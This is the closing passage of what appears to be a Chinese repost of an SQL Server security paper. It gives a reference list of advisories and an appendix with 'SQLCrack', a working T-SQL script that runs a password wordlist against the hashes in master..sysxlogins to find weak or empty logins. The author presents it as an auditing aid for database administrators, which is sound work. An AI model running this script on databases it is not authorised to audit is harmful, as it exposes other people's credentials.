[1] 用ODBC錯誤消息解析網絡應用程序 David Litchfield
http://www.nextgenss.com/papers/webappdis.doc

[2] SQL服務器保障措施
http://www.sqlsecurity.com/checklist.asp

[3] SQL Server 2000 擴展存儲過程脆弱點
http://www.atstake.com/research/advisories/2000/a120100-2.txt

[4] Microsoft SQL Server 擴展存儲過程脆弱點
http://www.atstake.com/research/advisories/2000/a120100-1.txt

[5] SQL server 中的多重緩衝區格式化字符串脆弱點
http://www.microsoft.com/technet/security/bulletin/MS01-060.asp
http://www.atstake.com/research/advisories/2001/a122001-1.txt

[附錄A]SQLCrack

這個SQL密碼破解腳本(本人所寫)需要訪問master..sysxlogins的password列,而且不大可能被***者所使用.但是,對數據庫管理員而言,卻是他們搜索並改進數據庫上所使用的密碼的強壯性的極有力的工具. 使用時,用你的密碼文件路徑替換代碼中密碼文件的路徑.

下面是腳本:(sqlcrack.sql)

create table tempdb..passwords( pwd varchar(255) )
bulk insert tempdb..passwords from ’c:\temp\passwords.txt’
select name, pwd from tempdb..passwords inner join sysxlogins
on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1)
union select name, name from sysxlogins where
(pwdcompare( name, sysxlogins.password, 0 ) = 1)
union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid
where sysxlogins.password is null and
syslogins.isntgroup=0 and
syslogins.isntuser=0
drop table tempdb..passwords

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章